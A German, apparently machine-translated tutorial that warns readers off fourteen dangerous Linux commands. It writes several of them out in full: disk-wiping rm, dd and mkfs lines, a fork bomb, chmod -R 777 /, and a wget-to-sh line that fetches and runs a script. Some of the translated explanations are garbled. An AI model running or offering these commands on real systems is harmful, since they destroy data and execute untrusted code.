Einführung
Das Ausführen von Befehlen in einem Linux-Terminal ist einfach und schnell und bietet normalerweise ein besseres Erlebnis als die Verwendung der GUI zur Ausführung derselben Aufgabe. Befehle bieten Zugriff auf Funktionen, die mit einer Linux-GUI nicht verfügbar sind, aber sie können auch gefährlich sein, wenn Sie nicht sicher sind, was genau sie tun.
In diesem Artikel erfahren Sie, welche gefährlichen Linux-Befehle Sie vermeiden sollten und warum.
Warnung: Führen Sie diese Befehle nicht aus, da einige von ihnen Ihr System oder Ihre Dateien schwer beschädigen können, löschen Sie Ihre Daten, ohne vorher eine Warnung oder Bestätigungsaufforderung auszugeben. Die im Tutorial bereitgestellten Screenshots wurden alle in einer virtuellen Maschine erstellt.
1. rm -rf / Befehl
Der rm
Befehl in Linux können Sie Dateien und Verzeichnisse löschen. Es gibt jedoch keine Wiederherstellungsoption, wodurch die gelöschten Dateien für immer verschwinden. Das bedeutet, dass die Verwendung des rm
Befehl zum dauerhaften Entfernen vertraulicher Systemdateien würde zu Systeminstabilität führen.
Der Befehl lautet:
rm -rf /
Ausführen von rm
Befehl mit dem -r
und -f
flags erzwingt ein rekursives Löschen durch alle Unterverzeichnisse. Führen Sie es auf /
aus Root-Verzeichnis würde das System komplett löschen.
2. Befehl>/dev/sda
Ausführen eines Befehls und Anhängen mit >/dev/sda
schreibt die Ausgabe des Befehls in /dev/sda
blockieren, d. h. auf Ihrer Festplatte. Die Datei dev/sda
Block enthält Dateisystemdaten, die dann durch die Befehlsausgabe ersetzt werden, wodurch Ihr System beschädigt und unwiederbringlich wird.
Die Syntax lautet:
command >/dev/sda
Der command
kann ein beliebiger Linux-Befehl sein. Wenn Sie beispielsweise den Befehl shred ausführen, werden alle Daten auf dem Laufwerk zerstört.
3. :(){ :|:&};:Gabelbombe
Der Fork-Bomb-Befehl erstellt eine Funktion namens :
und definiert den Inhalt der Funktion, wodurch sie sich selbst ausführt und in einen anderen Aufruf von sich selbst leitet. Somit läuft die Funktion im Vordergrund während derselbe Prozess im Hintergrund läuft . Die Funktion wird wiederholt ausgeführt und repliziert, wodurch schnell alle Ihre Ressourcen beansprucht werden, bis das System einfriert.
Die Syntax des Fork Bomb-Befehls lautet:
:(){ :|:& };:
4.> Dateibefehl
Die > file
Befehl ist die Abkürzung für cat /dev/null > file
.
Das Umleiten eines Befehls in eine Datei kann sehr nützlich sein, aber ein Fehler in der Befehlssyntax oder eine unvorsichtige Ausführung des Befehls kann eine kritische Systemdatei löschen.
Die > file
Der Befehl verwendet die Bash-Umleitungsfunktion, um den Inhalt einer Datei zu löschen und ihn sauber zu löschen.
Führen Sie beispielsweise Folgendes aus:
> phoenixnap.conf
Die Ausgabe erzeugt eine leere Konfigurationsdatei.
Außerdem verhindert das Voranstellen eines Leerzeichens vor dem Befehl dass es im Protokoll erscheint in der Bash-Shell. Das bedeutet, dass jemand Ihre Dateien löschen kann und keine Spuren hinterlassen werden, wenn er dem Befehl ein Leerzeichen voranstellt.
5. ^foo^bar-Befehl
Der ^foo^bar
Befehle können sowohl nützlich als auch gefährlich sein. Während der Befehl Zeit spart, weil Sie den zuvor ausgeführten Befehl bearbeiten und erneut ausführen können, kann er auch Probleme verursachen, wenn Sie die vorgenommenen Änderungen nicht gründlich überprüfen, bevor Sie ihn ausführen.
Der Befehl ersetzt die erste Instanz von foo
mit bar
. Zum Beispiel:
Beim ersten Ausführen von echo
Befehl, gibt die Ausgabe an, dass der Befehl aufgrund eines Tippfehlers nicht gefunden wurde. Beim Ausführen von ^foo^bar
Befehl und Korrektur des Tippfehlers, wird der echo-Befehl korrekt ausgeführt.
6. mv-Verzeichnis /dev/null
Ein weiterer gefährlicher Befehl, den Sie online finden können, ist das Verschieben eines Verzeichnisses oder einer Datei nach /dev/null
. Unter Linux /dev/null
ist eine Datei, die als "das schwarze Loch" bekannt ist, weil sie alle Daten zerstört, die Sie an den Speicherort der Datei verschieben.
Da jedoch /dev/null
ist kein Verzeichnis, sondern eine Zeichendatei, mv
kann es nicht mit einem anderen Verzeichnis überschreiben. Andererseits können Sie eine Datei dorthin verschieben, und die Datei überschreibt den Inhalt von /dev/null
.
Zum Beispiel:
sudo mv /home/bosko/employees.txt /dev/null
Nachdem Sie diesen Befehl ausgeführt haben, /dev/null
ist eine normale Datei. Die Gefahr bei dieser Änderung besteht darin, dass /dev/null
soll niemals irgendwelche Daten ausgeben, und jetzt ist es eine normale Datei. Wenn diese Konfiguration falsch ist, kann es dazu führen, dass zufällige Daten in Systemdateien eingefügt werden, was zu einem kaputten System führt.
7. wget http://malicious_source_url -O-|sh
Mit dem Befehl wget können Sie Dateien im Terminal herunterladen. Der Befehl kann jedoch wget
anweisen um ein Skript von einer bösartigen Quelle herunterzuladen und es mit sh
auszuführen .
Achten Sie immer auf die Adresse des Pakets oder der Datei, die Sie herunterladen, und stellen Sie sicher, dass es sich um eine vertrauenswürdige Quelle handelt, sonst riskieren Sie, Ihr System zu infizieren.
8. crontab -r
Die crontab
Befehl hilft bei der Automatisierung alltäglicher Aufgaben. Alle Befehle und Anweisungen werden jedoch in einer einzigen crontab-Datei gespeichert, die durch Angabe von -r
entfernt werden kann Flagge. Dies kann versehentlich passieren, wenn Sie -e
angeben möchten kennzeichnen und versehentlich -r
eingeben . Achtung, es gibt kein yes/no
Eingabeaufforderung, bevor Sie die Datei entfernen.
Stellen Sie sicher, dass Sie Ihre Crontab-Datei sichern, da es nach dem Löschen nicht viele Wiederherstellungsoptionen gibt.
9. Geschichte | sh
Der history | sh
Der Befehl kann gefährlich sein, da er jeden Befehl aus dem Befehlsprotokoll ausführt, den Sie bereits ausgeführt haben. Die Aktion kann Systeminstabilität verursachen und Befehle ausführen, die Sie nicht erneut ausführen wollten.
10. dd if=/dev/zero of=/dev/sda
Der Befehl dd weist das System an, Daten auf physische Laufwerke zu schreiben. Die Datenquelle wird im if
definiert Parameter, der random of
sein kann wenn Sie zufällige Daten in den Block schreiben möchten. Der if
Parameter kann auch zero of
sein wenn Sie Ihre Festplatte auf Null setzen möchten. Bei beiden Optionen wird das Betriebssystem vom Laufwerk entfernt.
Zum Beispiel:
dd if=/dev/random of=/dev/sda
Wenn Sie den obigen Befehl ausführen, wird Ihre Festplatte mit zufälligen Daten gefüllt, wodurch Ihr System ausfällt.
11. mkfs.ext3 /dev/sda
Das mkfs
Der Befehl erstellt ein neues Dateisystem auf dem angegebenen Gerät. Ausführen von mkfs
könnte gefährlich sein, wenn Sie Ihre Daten vor dem Ausführen des Befehls nicht gesichert haben. Es formatiert die angegebene Partition/Festplatte und löscht vollständig alle Daten davon.
Warnung: Während es nützlich ist, Festplattenpartitionen zu formatieren, formatiert man eine ganze Festplatte (wie /dev/sda
) verlässt das System unwiederbringlich. Erfahren Sie mehr über das Formatieren von Festplattenpartitionen unter Linux.
Im folgenden Beispiel mkfs
erstellt eine neue ext.3
Dateisystem nach dem Formatieren der gesamten Festplatte:
mkfs.ext3 /dev/sda
Da der Befehl die gesamte Festplatte formatiert, um ein neues Dateisystem zu erstellen, ist das System nicht mehr bootfähig und gibt folgenden Fehler aus:
Je nach Ihren Vorlieben können Sie auch mkfs
anweisen um ein anderes Dateisystem zu erstellen, wie z. B. ext4
. Sie können auch eine einzelne Partition oder eine andere Festplatte formatieren, die anstelle von /dev/sda
angegeben wird :
mkfs.ext4 /dev/sda1
Im obigen Beispiel haben wir mkfs
angewiesen um ein ext4
zu erstellen Dateisystem auf der ersten Partition auf der ersten Festplatte.
12. gunzip untrusted.gz
Das Entpacken eines nicht vertrauenswürdigen Archivs kann sich als Zip-Bombe herausstellen, die auch als Dekompressionsbombe bekannt ist. Eine Zip-Bombe ist eine schädliche Datei, die das System angreift und versucht, sie zu lesen. Beim Dekomprimieren der Datei wird viel Speicherplatz belegt, was für viele Systemdienste fatal sein kann.
Daher ist es am besten, beim Umgang mit Archiven aus nicht vertrauenswürdigen Quellen vorsichtig zu sein, hauptsächlich weil die Zip-Bombe eine der ältesten bösartigen Dateien im Internet ist.
13. Python entfernen
Bevor Sie daran denken, eine ältere Version von Python von Ihrem Linux-System zu entfernen, sollten Sie sich bewusst sein, dass das system benötigt eine funktionierende python2-Installation richtig zu funktionieren. Die Deinstallation der standardmäßigen Python-Version auf Ubuntu führt dazu, dass der Graphical Display Manager, der für die Anmeldung beim System verwendet wird, fehlschlägt, und Sie werden von Ihrem System ausgeschlossen .
Wenn Sie jedoch wissen, was Sie tun, können Sie Python2.x.x und alle seine Abhängigkeiten deinstallieren, indem Sie Folgendes ausführen:
sudo apt purge python2.x-minimal
14. chmod -R 777 /
Linux ist ein Mehrbenutzersystem und die chmod
Mit dem Befehl können Sie Dateiberechtigungen ändern, um den Benutzerzugriff auf eine bestimmte Datei oder ein bestimmtes Verzeichnis zu konfigurieren.
Allerdings kann chmod die Berechtigungen aller Ihrer Dateien rekursiv ändern:
chmod -R 777 /
Der obige Befehl erlaubt allen Benutzern, alle Dateien auf dem System zu lesen, zu schreiben und auszuführen, was die Sicherheit beeinträchtigt. Darüber hinaus können bei bestimmten Systemen Fehlfunktionen auftreten, wenn die Berechtigungen zu offen sind, und das System am Booten hindern.